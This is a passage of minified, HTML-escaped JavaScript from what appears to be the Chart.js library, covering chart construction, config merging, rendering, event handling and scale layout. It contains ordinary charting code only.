helpers$1.merge(Object.create(null),[].slice.call(arguments),{merger:function(key,target,source,options){if(&quot;xAxes&quot;===key||&quot;yAxes&quot;===key){var i,type,scale,slen=source[key].length;for(target[key]||(target[key]=[]),i=0;i&lt;slen;++i)scale=source[key][i],type=valueOrDefault$9(scale.type,&quot;xAxes&quot;===key?&quot;category&quot;:&quot;linear&quot;),i&gt;=target[key].length&amp;&amp;target[key].push({}),!target[key][i].type||scale.type&amp;&amp;scale.type!==target[key][i].type?helpers$1.merge(target[key][i],[core_scaleService.getScaleDefaults(type),scale]):helpers$1.merge(target[key][i],scale)}else helpers$1._merger(key,target,source,options)}})}function mergeConfig(){return helpers$1.merge(Object.create(null),[].slice.call(arguments),{merger:function(key,target,source,options){var tval=target[key]||Object.create(null),sval=source[key];&quot;scales&quot;===key?target[key]=mergeScaleConfig(tval,sval):&quot;scale&quot;===key?target[key]=helpers$1.merge(tval,[core_scaleService.getScaleDefaults(sval.type),sval]):helpers$1._merger(key,target,source,options)}})}function updateConfig(chart){var newOptions=chart.options;helpers$1.each(chart.scales,(function(scale){core_layouts.removeBox(chart,scale)})),newOptions=mergeConfig(core_defaults.global,core_defaults[chart.config.type],newOptions),chart.options=chart.config.options=newOptions,chart.ensureScalesHaveIDs(),chart.buildOrUpdateScales(),chart.tooltip._options=newOptions.tooltips,chart.tooltip.initialize()}function nextAvailableScaleId(axesOpts,prefix,index){var id,hasId=function(obj){return obj.id===id};do{id=prefix+index++}while(helpers$1.findIndex(axesOpts,hasId)&gt;=0);return id}function positionIsHorizontal(position){return&quot;top&quot;===position||&quot;bottom&quot;===position}function compare2Level(l1,l2){return function(a,b){return a[l1]===b[l1]?a[l2]-b[l2]:a[l1]-b[l1]}}core_defaults._set(&quot;global&quot;,{elements:{},events:[&quot;mousemove&quot;,&quot;mouseout&quot;,&quot;click&quot;,&quot;touchstart&quot;,&quot;touchmove&quot;],hover:{onHover:null,mode:&quot;nearest&quot;,intersect:!0,animationDuration:400},onClick:null,maintainAspectRatio:!0,responsive:!0,responsiveAnimationDuration:0});var Chart=function(item,config){return this.construct(item,config),this};helpers$1.extend(Chart.prototype,{construct:function(item,config){var me=this;config=function(config){var data=(config=config||Object.create(null)).data=config.data||{};return data.datasets=data.datasets||[],data.labels=data.labels||[],config.options=mergeConfig(core_defaults.global,core_defaults[config.type],config.options||{}),config}(config);var context=platform.acquireContext(item,config),canvas=context&amp;&amp;context.canvas,height=canvas&amp;&amp;canvas.height,width=canvas&amp;&amp;canvas.width;me.id=helpers$1.uid(),me.ctx=context,me.canvas=canvas,me.config=config,me.width=width,me.height=height,me.aspectRatio=height?width/height:null,me.options=config.options,me._bufferedRender=!1,me._layers=[],me.chart=me,me.controller=me,Chart.instances[me.id]=me,Object.defineProperty(me,&quot;data&quot;,{get:function(){return me.config.data},set:function(value){me.config.data=value}}),context&amp;&amp;canvas?(me.initialize(),me.update()):console.error(&quot;Failed to create chart: can&#039;t acquire context from the given item&quot;)},initialize:function(){var me=this;return core_plugins.notify(me,&quot;beforeInit&quot;),helpers$1.retinaScale(me,me.options.devicePixelRatio),me.bindEvents(),me.options.responsive&amp;&amp;me.resize(!0),me.initToolTip(),core_plugins.notify(me,&quot;afterInit&quot;),me},clear:function(){return helpers$1.canvas.clear(this),this},stop:function(){return core_animations.cancelAnimation(this),this},resize:function(silent){var me=this,options=me.options,canvas=me.canvas,aspectRatio=options.maintainAspectRatio&amp;&amp;me.aspectRatio||null,newWidth=Math.max(0,Math.floor(helpers$1.getMaximumWidth(canvas))),newHeight=Math.max(0,Math.floor(aspectRatio?newWidth/aspectRatio:helpers$1.getMaximumHeight(canvas)));if((me.width!==newWidth||me.height!==newHeight)&amp;&amp;(canvas.width=me.width=newWidth,canvas.height=me.height=newHeight,canvas.style.width=newWidth+&quot;px&quot;,canvas.style.height=newHeight+&quot;px&quot;,helpers$1.retinaScale(me,options.devicePixelRatio),!silent)){var newSize={width:newWidth,height:newHeight};core_plugins.notify(me,&quot;resize&quot;,[newSize]),options.onResize&amp;&amp;options.onResize(me,newSize),me.stop(),me.update({duration:options.responsiveAnimationDuration})}},ensureScalesHaveIDs:function(){var options=this.options,scalesOptions=options.scales||{},scaleOptions=options.scale;helpers$1.each(scalesOptions.xAxes,(function(xAxisOptions,index){xAxisOptions.id||(xAxisOptions.id=nextAvailableScaleId(scalesOptions.xAxes,&quot;x-axis-&quot;,index))})),helpers$1.each(scalesOptions.yAxes,(function(yAxisOptions,index){yAxisOptions.id||(yAxisOptions.id=nextAvailableScaleId(scalesOptions.yAxes,&quot;y-axis-&quot;,index))})),scaleOptions&amp;&amp;(scaleOptions.id=scaleOptions.id||&quot;scale&quot;)},buildOrUpdateScales:function(){var me=this,options=me.options,scales=me.scales||{},items=[],updated=Object.keys(scales).reduce((function(obj,id){return obj[id]=!1,obj}),{});options.scales&amp;&amp;(items=items.concat((options.scales.xAxes||[]).map((function(xAxisOptions){return{options:xAxisOptions,dtype:&quot;category&quot;,dposition:&quot;bottom&quot;}})),(options.scales.yAxes||[]).map((function(yAxisOptions){return{options:yAxisOptions,dtype:&quot;linear&quot;,dposition:&quot;left&quot;}})))),options.scale&amp;&amp;items.push({options:options.scale,dtype:&quot;radialLinear&quot;,isDefault:!0,dposition:&quot;chartArea&quot;}),helpers$1.each(items,(function(item){var scaleOptions=item.options,id=scaleOptions.id,scaleType=valueOrDefault$9(scaleOptions.type,item.dtype);positionIsHorizontal(scaleOptions.position)!==positionIsHorizontal(item.dposition)&amp;&amp;(scaleOptions.position=item.dposition),updated[id]=!0;var scale=null;if(id in scales&amp;&amp;scales[id].type===scaleType)(scale=scales[id]).options=scaleOptions,scale.ctx=me.ctx,scale.chart=me;else{var scaleClass=core_scaleService.getScaleConstructor(scaleType);if(!scaleClass)return;scale=new scaleClass({id:id,type:scaleType,options:scaleOptions,ctx:me.ctx,chart:me}),scales[scale.id]=scale}scale.mergeTicksOptions(),item.isDefault&amp;&amp;(me.scale=scale)})),helpers$1.each(updated,(function(hasUpdated,id){hasUpdated||delete scales[id]})),me.scales=scales,core_scaleService.addScalesToLayout(this)},buildOrUpdateControllers:function(){var i,ilen,me=this,newControllers=[],datasets=me.data.datasets;for(i=0,ilen=datasets.length;i&lt;ilen;i++){var dataset=datasets[i],meta=me.getDatasetMeta(i),type=dataset.type||me.config.type;if(meta.type&amp;&amp;meta.type!==type&amp;&amp;(me.destroyDatasetMeta(i),meta=me.getDatasetMeta(i)),meta.type=type,meta.order=dataset.order||0,meta.index=i,meta.controller)meta.controller.updateIndex(i),meta.controller.linkScales();else{var ControllerClass=controllers[meta.type];if(void 0===ControllerClass)throw new Error(&#039;&quot;&#039;+meta.type+&#039;&quot; is not a chart type.&#039;);meta.controller=new ControllerClass(me,i),newControllers.push(meta.controller)}}return newControllers},resetElements:function(){var me=this;helpers$1.each(me.data.datasets,(function(dataset,datasetIndex){me.getDatasetMeta(datasetIndex).controller.reset()}),me)},reset:function(){this.resetElements(),this.tooltip.initialize()},update:function(config){var i,ilen,me=this;if(config&amp;&amp;&quot;object&quot;==typeof config||(config={duration:config,lazy:arguments[1]}),updateConfig(me),core_plugins._invalidate(me),!1!==core_plugins.notify(me,&quot;beforeUpdate&quot;)){me.tooltip._data=me.data;var newControllers=me.buildOrUpdateControllers();for(i=0,ilen=me.data.datasets.length;i&lt;ilen;i++)me.getDatasetMeta(i).controller.buildOrUpdateElements();me.updateLayout(),me.options.animation&amp;&amp;me.options.animation.duration&amp;&amp;helpers$1.each(newControllers,(function(controller){controller.reset()})),me.updateDatasets(),me.tooltip.initialize(),me.lastActive=[],core_plugins.notify(me,&quot;afterUpdate&quot;),me._layers.sort(compare2Level(&quot;z&quot;,&quot;_idx&quot;)),me._bufferedRender?me._bufferedRequest={duration:config.duration,easing:config.easing,lazy:config.lazy}:me.render(config)}},updateLayout:function(){var me=this;!1!==core_plugins.notify(me,&quot;beforeLayout&quot;)&amp;&amp;(core_layouts.update(this,this.width,this.height),me._layers=[],helpers$1.each(me.boxes,(function(box){box._configure&amp;&amp;box._configure(),me._layers.push.apply(me._layers,box._layers())}),me),me._layers.forEach((function(item,index){item._idx=index})),core_plugins.notify(me,&quot;afterScaleUpdate&quot;),core_plugins.notify(me,&quot;afterLayout&quot;))},updateDatasets:function(){if(!1!==core_plugins.notify(this,&quot;beforeDatasetsUpdate&quot;)){for(var i=0,ilen=this.data.datasets.length;i&lt;ilen;++i)this.updateDataset(i);core_plugins.notify(this,&quot;afterDatasetsUpdate&quot;)}},updateDataset:function(index){var meta=this.getDatasetMeta(index),args={meta:meta,index:index};!1!==core_plugins.notify(this,&quot;beforeDatasetUpdate&quot;,[args])&amp;&amp;(meta.controller._update(),core_plugins.notify(this,&quot;afterDatasetUpdate&quot;,[args]))},render:function(config){var me=this;config&amp;&amp;&quot;object&quot;==typeof config||(config={duration:config,lazy:arguments[1]});var animationOptions=me.options.animation,duration=valueOrDefault$9(config.duration,animationOptions&amp;&amp;animationOptions.duration),lazy=config.lazy;if(!1!==core_plugins.notify(me,&quot;beforeRender&quot;)){var onComplete=function(animation){core_plugins.notify(me,&quot;afterRender&quot;),helpers$1.callback(animationOptions&amp;&amp;animationOptions.onComplete,[animation],me)};if(animationOptions&amp;&amp;duration){var animation=new core_animation({numSteps:duration/16.66,easing:config.easing||animationOptions.easing,render:function(chart,animationObject){var easingFunction=helpers$1.easing.effects[animationObject.easing],currentStep=animationObject.currentStep,stepDecimal=currentStep/animationObject.numSteps;chart.draw(easingFunction(stepDecimal),stepDecimal,currentStep)},onAnimationProgress:animationOptions.onProgress,onAnimationComplete:onComplete});core_animations.addAnimation(me,animation,duration,lazy)}else me.draw(),onComplete(new core_animation({numSteps:0,chart:me}));return me}},draw:function(easingValue){var i,layers,me=this;if(me.clear(),helpers$1.isNullOrUndef(easingValue)&amp;&amp;(easingValue=1),me.transition(easingValue),!(me.width&lt;=0||me.height&lt;=0)&amp;&amp;!1!==core_plugins.notify(me,&quot;beforeDraw&quot;,[easingValue])){for(layers=me._layers,i=0;i&lt;layers.length&amp;&amp;layers[i].z&lt;=0;++i)layers[i].draw(me.chartArea);for(me.drawDatasets(easingValue);i&lt;layers.length;++i)layers[i].draw(me.chartArea);me._drawTooltip(easingValue),core_plugins.notify(me,&quot;afterDraw&quot;,[easingValue])}},transition:function(easingValue){for(var i=0,ilen=(this.data.datasets||[]).length;i&lt;ilen;++i)this.isDatasetVisible(i)&amp;&amp;this.getDatasetMeta(i).controller.transition(easingValue);this.tooltip.transition(easingValue)},_getSortedDatasetMetas:function(filterVisible){var i,ilen,result=[];for(i=0,ilen=(this.data.datasets||[]).length;i&lt;ilen;++i)filterVisible&amp;&amp;!this.isDatasetVisible(i)||result.push(this.getDatasetMeta(i));return result.sort(compare2Level(&quot;order&quot;,&quot;index&quot;)),result},_getSortedVisibleDatasetMetas:function(){return this._getSortedDatasetMetas(!0)},drawDatasets:function(easingValue){var metasets,i;if(!1!==core_plugins.notify(this,&quot;beforeDatasetsDraw&quot;,[easingValue])){for(i=(metasets=this._getSortedVisibleDatasetMetas()).length-1;i&gt;=0;--i)this.drawDataset(metasets[i],easingValue);core_plugins.notify(this,&quot;afterDatasetsDraw&quot;,[easingValue])}},drawDataset:function(meta,easingValue){var args={meta:meta,index:meta.index,easingValue:easingValue};!1!==core_plugins.notify(this,&quot;beforeDatasetDraw&quot;,[args])&amp;&amp;(meta.controller.draw(easingValue),core_plugins.notify(this,&quot;afterDatasetDraw&quot;,[args]))},_drawTooltip:function(easingValue){var tooltip=this.tooltip,args={tooltip:tooltip,easingValue:easingValue};!1!==core_plugins.notify(this,&quot;beforeTooltipDraw&quot;,[args])&amp;&amp;(tooltip.draw(),core_plugins.notify(this,&quot;afterTooltipDraw&quot;,[args]))},getElementAtEvent:function(e){return core_interaction.modes.single(this,e)},getElementsAtEvent:function(e){return core_interaction.modes.label(this,e,{intersect:!0})},getElementsAtXAxis:function(e){return core_interaction.modes[&quot;x-axis&quot;](this,e,{intersect:!0})},getElementsAtEventForMode:function(e,mode,options){var method=core_interaction.modes[mode];return&quot;function&quot;==typeof method?method(this,e,options):[]},getDatasetAtEvent:function(e){return core_interaction.modes.dataset(this,e,{intersect:!0})},getDatasetMeta:function(datasetIndex){var dataset=this.data.datasets[datasetIndex];dataset._meta||(dataset._meta={});var meta=dataset._meta[this.id];return meta||(meta=dataset._meta[this.id]={type:null,data:[],dataset:null,controller:null,hidden:null,xAxisID:null,yAxisID:null,order:dataset.order||0,index:datasetIndex}),meta},getVisibleDatasetCount:function(){for(var count=0,i=0,ilen=this.data.datasets.length;i&lt;ilen;++i)this.isDatasetVisible(i)&amp;&amp;count++;return count},isDatasetVisible:function(datasetIndex){var meta=this.getDatasetMeta(datasetIndex);return&quot;boolean&quot;==typeof meta.hidden?!meta.hidden:!this.data.datasets[datasetIndex].hidden},generateLegend:function(){return this.options.legendCallback(this)},destroyDatasetMeta:function(datasetIndex){var id=this.id,dataset=this.data.datasets[datasetIndex],meta=dataset._meta&amp;&amp;dataset._meta[id];meta&amp;&amp;(meta.controller.destroy(),delete dataset._meta[id])},destroy:function(){var i,ilen,me=this,canvas=me.canvas;for(me.stop(),i=0,ilen=me.data.datasets.length;i&lt;ilen;++i)me.destroyDatasetMeta(i);canvas&amp;&amp;(me.unbindEvents(),helpers$1.canvas.clear(me),platform.releaseContext(me.ctx),me.canvas=null,me.ctx=null),core_plugins.notify(me,&quot;destroy&quot;),delete Chart.instances[me.id]},toBase64Image:function(){return this.canvas.toDataURL.apply(this.canvas,arguments)},initToolTip:function(){var me=this;me.tooltip=new core_tooltip({_chart:me,_chartInstance:me,_data:me.data,_options:me.options.tooltips},me)},bindEvents:function(){var me=this,listeners=me._listeners={},listener=function(){me.eventHandler.apply(me,arguments)};helpers$1.each(me.options.events,(function(type){platform.addEventListener(me,type,listener),listeners[type]=listener})),me.options.responsive&amp;&amp;(listener=function(){me.resize()},platform.addEventListener(me,&quot;resize&quot;,listener),listeners.resize=listener)},unbindEvents:function(){var me=this,listeners=me._listeners;listeners&amp;&amp;(delete me._listeners,helpers$1.each(listeners,(function(listener,type){platform.removeEventListener(me,type,listener)})))},updateHoverStyle:function(elements,mode,enabled){var element,i,ilen,prefix=enabled?&quot;set&quot;:&quot;remove&quot;;for(i=0,ilen=elements.length;i&lt;ilen;++i)(element=elements[i])&amp;&amp;this.getDatasetMeta(element._datasetIndex).controller[prefix+&quot;HoverStyle&quot;](element);&quot;dataset&quot;===mode&amp;&amp;this.getDatasetMeta(elements[0]._datasetIndex).controller[&quot;_&quot;+prefix+&quot;DatasetHoverStyle&quot;]()},eventHandler:function(e){var me=this,tooltip=me.tooltip;if(!1!==core_plugins.notify(me,&quot;beforeEvent&quot;,[e])){me._bufferedRender=!0,me._bufferedRequest=null;var changed=me.handleEvent(e);tooltip&amp;&amp;(changed=tooltip._start?tooltip.handleEvent(e):changed|tooltip.handleEvent(e)),core_plugins.notify(me,&quot;afterEvent&quot;,[e]);var bufferedRequest=me._bufferedRequest;return bufferedRequest?me.render(bufferedRequest):changed&amp;&amp;!me.animating&amp;&amp;(me.stop(),me.render({duration:me.options.hover.animationDuration,lazy:!0})),me._bufferedRender=!1,me._bufferedRequest=null,me}},handleEvent:function(e){var changed,me=this,options=me.options||{},hoverOptions=options.hover;return me.lastActive=me.lastActive||[],&quot;mouseout&quot;===e.type?me.active=[]:me.active=me.getElementsAtEventForMode(e,hoverOptions.mode,hoverOptions),helpers$1.callback(options.onHover||options.hover.onHover,[e.native,me.active],me),&quot;mouseup&quot;!==e.type&amp;&amp;&quot;click&quot;!==e.type||options.onClick&amp;&amp;options.onClick.call(me,e.native,me.active),me.lastActive.length&amp;&amp;me.updateHoverStyle(me.lastActive,hoverOptions.mode,!1),me.active.length&amp;&amp;hoverOptions.mode&amp;&amp;me.updateHoverStyle(me.active,hoverOptions.mode,!0),changed=!helpers$1.arrayEquals(me.active,me.lastActive),me.lastActive=me.active,changed}}),Chart.instances={};var core_controller=Chart;Chart.Controller=Chart,Chart.types={},helpers$1.configMerge=mergeConfig,helpers$1.scaleMerge=mergeScaleConfig;function abstract(){throw new Error(&quot;This method is not implemented: either no adapter can be found or an incomplete integration was provided.&quot;)}function DateAdapter(options){this.options=options||{}}helpers$1.extend(DateAdapter.prototype,{formats:abstract,parse:abstract,format:abstract,add:abstract,diff:abstract,startOf:abstract,endOf:abstract,_create:function(value){return value}}),DateAdapter.override=function(members){helpers$1.extend(DateAdapter.prototype,members)};var core_adapters={_date:DateAdapter},core_ticks={formatters:{values:function(value){return helpers$1.isArray(value)?value:&quot;&quot;+value},linear:function(tickValue,index,ticks){var delta=ticks.length&gt;3?ticks[2]-ticks[1]:ticks[1]-ticks[0];Math.abs(delta)&gt;1&amp;&amp;tickValue!==Math.floor(tickValue)&amp;&amp;(delta=tickValue-Math.floor(tickValue));var logDelta=helpers$1.log10(Math.abs(delta)),tickString=&quot;&quot;;if(0!==tickValue)if(Math.max(Math.abs(ticks[0]),Math.abs(ticks[ticks.length-1]))&lt;1e-4){var logTick=helpers$1.log10(Math.abs(tickValue)),numExponential=Math.floor(logTick)-Math.floor(logDelta);numExponential=Math.max(Math.min(numExponential,20),0),tickString=tickValue.toExponential(numExponential)}else{var numDecimal=-1*Math.floor(logDelta);numDecimal=Math.max(Math.min(numDecimal,20),0),tickString=tickValue.toFixed(numDecimal)}else tickString=&quot;0&quot;;return tickString},logarithmic:function(tickValue,index,ticks){var remain=tickValue/Math.pow(10,Math.floor(helpers$1.log10(tickValue)));return 0===tickValue?&quot;0&quot;:1===remain||2===remain||5===remain||0===index||index===ticks.length-1?tickValue.toExponential():&quot;&quot;}}},isArray=helpers$1.isArray,isNullOrUndef=helpers$1.isNullOrUndef,valueOrDefault$a=helpers$1.valueOrDefault,valueAtIndexOrDefault=helpers$1.valueAtIndexOrDefault;function getPixelForGridLine(scale,index,offsetGridLines){var offset,length=scale.getTicks().length,validIndex=Math.min(index,length-1),lineValue=scale.getPixelForTick(validIndex),start=scale._startPixel,end=scale._endPixel;if(!(offsetGridLines&amp;&amp;(offset=1===length?Math.max(lineValue-start,end-lineValue):0===index?(scale.getPixelForTick(1)-lineValue)/2:(lineValue-scale.getPixelForTick(validIndex-1))/2,(lineValue+=validIndex&lt;index?offset:-offset)&lt;start-1e-6||lineValue&gt;end+1e-6)))return lineValue}function computeLabelSizes(ctx,tickFonts,ticks,caches){var i,j,jlen,label,tickFont,fontString,cache,lineHeight,width,height,nestedLabel,widest,highest,length=ticks.length,widths=[],heights=[],offsets=[],widestLabelSize=0,highestLabelSize=0;for(i=0;i&lt;length;++i){if(label=ticks[i].label,tickFont=ticks[i].major?tickFonts.major:tickFonts.minor,ctx.font=fontString=tickFont.string,cache=caches[fontString]=caches[fontString]||{data:{},gc:[]},lineHeight=tickFont.lineHeight,width=height=0,isNullOrUndef(label)||isArray(label)){if(isArray(label))for(j=0,jlen=label.length;j&lt;jlen;++j)nestedLabel=label[j],isNullOrUndef(nestedLabel)||isArray(nestedLabel)||(width=helpers$1.measureText(ctx,cache.data,cache.gc,width,nestedLabel),height+=lineHeight)}else width=helpers$1.measureText(ctx,cache.data,cache.gc,width,label),height=lineHeight;widths.push(width),heights.push(height),offsets.push(lineHeight/2),widestLabelSize=Math.max(width,widestLabelSize),highestLabelSize=Math.max(height,highestLabelSize)}function valueAt(idx){return{width:widths[idx]||0,height:heights[idx]||0,offset:offsets[idx]||0}}return function(caches,length){helpers$1.each(caches,(function(cache){var i,gc=cache.gc,gcLen=gc.length/2;if(gcLen&gt;length){for(i=0;i&lt;gcLen;++i)delete cache.data[gc[i]];gc.splice(0,gcLen)}}))}(caches,length),widest=widths.indexOf(widestLabelSize),highest=heights.indexOf(highestLabelSize),{first:valueAt(0),last:valueAt(length-1),widest:valueAt(widest),highest:valueAt(highest)}}function getTickMarkLength(options){return options.drawTicks?options.tickMarkLength:0}function getScaleLabelHeight(options){var font,padding;return options.display?(font=helpers$1.options._parseFont(options),padding=helpers$1.options.toPadding(options.padding),font.lineHeight+padding.height):0}function parseFontOptions(options,nestedOpts){return helpers$1.extend(helpers$1.options._parseFont({fontFamily:valueOrDefault$a(nestedOpts.fontFamily,options.fontFamily),fontSize:valueOrDefault$a(nestedOpts.fontSize,options.fontSize),fontStyle:valueOrDefault$a(nestedOpts.fontStyle,options.fontStyle),lineHeight:valueOrDefault$a(nestedOpts.lineHeight,options.lineHeight)}),{color:helpers$1.options.resolve([nestedOpts.fontColor,options.fontColor,core_defaults.global.defaultFontColor])})}function parseTickFontOptions(options){var minor=parseFontOptions(options,options.minor);return{minor:minor,major:options.major.enabled?parseFontOptions(options,options.major):minor}}function nonSkipped(ticksToFilter){var item,index,len,filtered=[];for(index=0,len=ticksToFilter.length;index&lt;len;++index)void 0!==(item=ticksToFilter[index])._index&amp;&amp;filtered.push(item);return filtered}function skip(ticks,spacing,majorStart,majorEnd){var length,i,tick,next,start=valueOrDefault$a(majorStart,0),end=Math.min(valueOrDefault$a(majorEnd,ticks.length),ticks.length),count=0;for(spacing=Math.ceil(spacing),majorEnd&amp;&amp;(spacing=(length=majorEnd-majorStart)/Math.floor(length/spacing)),next=start;next&lt;0;)count++,next=Math.round(start+count*spacing);for(i=Math.max(start,0);i&lt;end;i++)tick=ticks[i],i===next?(tick._index=i,count++,next=Math.round(start+count*spacing)):delete tick.label}core_defaults._set(&quot;scale&quot;,{display:!0,position:&quot;left&quot;,offset:!1,gridLines:{display:!0,color:&quot;rgba(0,0,0,0.1)&quot;,lineWidth:1,drawBorder:!0,drawOnChartArea:!0,drawTicks:!0,tickMarkLength:10,zeroLineWidth:1,zeroLineColor:&quot;rgba(0,0,0,0.25)&quot;,zeroLineBorderDash:[],zeroLineBorderDashOffset:0,offsetGridLines:!1,borderDash:[],borderDashOffset:0},scaleLabel:{display:!1,labelString:&quot;&quot;,padding:{top:4,bottom:4}},ticks:{beginAtZero:!1,minRotation:0,maxRotation:50,mirror:!1,padding:0,reverse:!1,display:!0,autoSkip:!0,autoSkipPadding:0,labelOffset:0,callback:core_ticks.formatters.values,minor:{},major:{}}});var Scale=core_element.extend({zeroLineIndex:0,getPadding:function(){return{left:this.paddingLeft||0,top:this.paddingTop||0,right:this.paddingRight||0,bottom:this.paddingBottom||0}},getTicks:function(){return this._ticks},_getLabels:function(){var data=this.chart.data;return this.options.labels||(this.isHorizontal()?data.xLabels:data.yLabels)||data.labels||[]},mergeTicksOptions:function(){},beforeUpdate:function(){helpers$1.callback(this.options.beforeUpdate,[this])},update:function(maxWidth,maxHeight,margins){var i,ilen,labels,ticks,samplingEnabled,me=this,tickOpts=me.options.ticks,sampleSize=tickOpts.sampleSize;if(me.beforeUpdate(),me.maxWidth=maxWidth,me.maxHeight=maxHeight,me.margins=helpers$1.extend({left:0,right:0,top:0,bottom:0},margins),me._ticks=null,me.ticks=null,me._labelSizes=null,me._maxLabelLines=0,me.longestLabelWidth=0,me.longestTextCache=me.longestTextCache||{},me._gridLineItems=null,me._labelItems=null,me.beforeSetDimensions(),me.setDimensions(),me.afterSetDimensions(),me.beforeDataLimits(),me.determineDataLimits(),me.afterDataLimits(),me.beforeBuildTicks(),ticks=me.buildTicks()||[],(!(ticks=me.afterBuildTicks(ticks)||ticks)||!ticks.length)&amp;&amp;me.ticks)for(ticks=[],i=0,ilen=me.ticks.length;i&lt;ilen;++i)ticks.push({value:me.ticks[i],major:!1});return me._ticks=ticks,samplingEnabled=sampleSize&lt;ticks.length,labels=me._convertTicksToLabels(samplingEnabled?function(arr,numItems){for(var result=[],increment=arr.length/numItems,i=0,len=arr.length;i&lt;len;i+=increment)result.push(arr[Math.floor(i)]);return result}(ticks,sampleSize):ticks),me._configure(),me.beforeCalculateTickRotation(),me.calculateTickRotation(),me.afterCalculateTickRotation(),me.beforeFit(),me.fit(),me.afterFit(),me._ticksToDraw=tickOpts.display&amp;&amp;(tickOpts.autoSkip||&quot;auto&quot;===tickOpts.source)?me._autoSkip(ticks):ticks,samplingEnabled&amp;&amp;(labels=me._convertTicksToLabels(me._ticksToDraw)),me.ticks=labels,me.afterUpdate(),me.minSize},_configure:function(){var startPixel,endPixel,me=this,reversePixels=me.options.ticks.reverse;me.isHorizontal()?(startPixel=me.left,endPixel=me.right):(startPixel=me.top,endPixel=me.bottom,reversePixels=!reversePixels),me._startPixel=startPixel,me._endPixel=endPixel,me._reversePixels=reversePixels,me._length=endPixel-startPixel},afterUpdate:function(){helpers$1.callback(this.options.afterUpdate,[this])},beforeSetDimensions:function(){helpers$1.callback(this.options.beforeSetDimensions,[this])},setDimensions:function(){var me=this;me.isHorizontal()?(me.width=me.maxWidth,me.left=0,me.right=me.width):(me.height=me.maxHeight,me.top=0,me.bottom=me.height),me.paddingLeft=0,me.paddingTop=0,me.paddingRight=0,me.paddingBottom=0},afterSetDimensions:function(){helpers$1.callback(this.options.afterSetDimensions,[this])},beforeDataLimits:function(){helpers$1.callback(this.options.beforeDataLimits,[this])},determineDataLimits:helpers$1.noop,afterDataLimits:function(){helpers$1.callback(this.options.afterDataLimits,[this])},beforeBuildTicks:function(){helpers$1.callback(this.options.beforeBuildTicks,[this])},buildTicks:helpers$1.noop,afterBuildTicks:function(ticks){var me=this;return isArray(ticks)&amp;&amp;ticks.length?helpers$1.callback(me.options.afterBuildTicks,[me,ticks]):(me.ticks=helpers$1.callback(me.options.afterBuildTicks,[me,me.ticks])||me.ticks,ticks)},beforeTickToLabelConversion:function(){helpers$1.callback(this.options.beforeTickToLabelConversion,[this])},convertTicksToLabels:function(){var tickOpts=this.options.ticks;this.ticks=this.ticks.map(tickOpts.userCallback||tickOpts.callback,this)},afterTickToLabelConversion:function(){helpers$1.callback(this.options.afterTickToLabelConversion,[this])},beforeCalculateTickRotation:function(){helpers$1.callback(this.options.beforeCalculateTickRotation,[this])},calculateTickRotation:function(){var labelSizes,maxLabelWidth,maxLabelHeight,maxWidth,tickWidth,maxHeight,maxLabelDiagonal,me=this,options=me.options,tickOpts=options.ticks,numTicks=me.getTicks().length,minRotation=tickOpts.minRotation||0,maxRotation=tickOpts.maxRotation,labelRotation=minRotation;!me._isVisible()||!tickOpts.display||minRotation&gt;=maxRotation||numTicks&lt;=1||!me.isHorizontal()?me.labelRotation=minRotation:(maxLabelWidth=(labelSizes=me._getLabelSizes()).widest.width,maxLabelHeight=labelSizes.highest.height-labelSizes.highest.offset,maxWidth=Math.min(me.maxWidth,me.chart.width-maxLabelWidth),maxLabelWidth+6&gt;(tickWidth=options.offset?me.maxWidth/numTicks:maxWidth/(numTicks-1))&amp;&amp;(tickWidth=maxWidth/(numTicks-(options.offset?.5:1)),maxHeight=me.maxHeight-getTickMarkLength(options.gridLines)-tickOpts.padding-getScaleLabelHeight(options.scaleLabel),maxLabelDiagonal=Math.sqrt(maxLabelWidth*maxLabelWidth+maxLabelHeight*maxLabelHeight),labelRotation=helpers$1.toDegrees(Math.min(Math.asin(Math.min((labelSizes.highest.height+6)/tickWidth,1)),Math.asin(Math.min(maxHeight/maxLabelDiagonal,1))-Math.asin(maxLabelHeight/maxLabelDiagonal))),labelRotation=Math.max(minRotation,Math.min(maxRotation,labelRotation))),me.labelRotation=labelRotation)},afterCalculateTickRotation:function(){helpers$1.callback(this.options.afterCalculateTickRotation,[this])},beforeFit:function(){helpers$1.callback(this.options.beforeFit,[this])},fit:function(){var me=this,minSize=me.minSize={width:0,height:0},chart=me.chart,opts=me.options,tickOpts=opts.ticks,scaleLabelOpts=opts.scaleLabel,gridLineOpts=opts.gridLines,display=me._isVisible(),isBottom=&quot;bottom&quot;===opts.position,isHorizontal=me.isHorizontal();if(isHorizontal?minSize.width=me.maxWidth:display&amp;&amp;(minSize.width=getTickMarkLength(gridLineOpts)+getScaleLabelHeight(scaleLabelOpts)),isHorizontal?display&amp;&amp;(minSize.height=getTickMarkLength(gridLineOpts)+getScaleLabelHeight(scaleLabelOpts)):minSize.height=me.maxHeight,tickOpts.display&amp;&amp;display){var tickFonts=parseTickFontOptions(tickOpts),labelSizes=me._getLabelSizes(),firstLabelSize=labelSizes.first,lastLabelSize=labelSizes.last,widestLabelSize=labelSizes.widest,highestLabelSize=labelSizes.highest,lineSpace=.4*tickFonts.minor.lineHeight,tickPadding=tickOpts.padding;if(isHorizontal){var isRotated=0!==me.labelRotation,angleRadians=helpers$1.toRadians(me.labelRotation),cosRotation=Math.cos(angleRadians),sinRotation=Math.sin(angleRadians),labelHeight=sinRotation*widestLabelSize.width+cosRotation*(highestLabelSize.height-(isRotated?highestLabelSize.offset:0))+(isRotated?0:lineSpace);minSize.height=Math.min(me.maxHeight,minSize.height+labelHeight+tickPadding);var paddingLeft,paddingRight,offsetLeft=me.getPixelForTick(0)-me.left,offsetRight=me.right-me.getPixelForTick(me.getTicks().length-1);isRotated?(paddingLeft=isBottom?cosRotation*firstLabelSize.width+sinRotation*firstLabelSize.offset:sinRotation*(firstLabelSize.height-firstLabelSize.offset),paddingRight=isBottom?sinRotation*(lastLabelSize.height-lastLabelSize.offset):cosRotation*lastLabelSize.width+sinRotation*lastLabelSize.offset):(paddingLeft=firstLabelSize.width/2,paddingRight=lastLabelSize.width/2),me.paddingLeft=Math.max((paddingLeft-offsetLeft)*me.width/(me.width-offsetLeft),0)+3,me.paddingRight=Math.max((paddingRight-offsetRight)*me.width/(me.width-offsetRight),0)+3}else{var 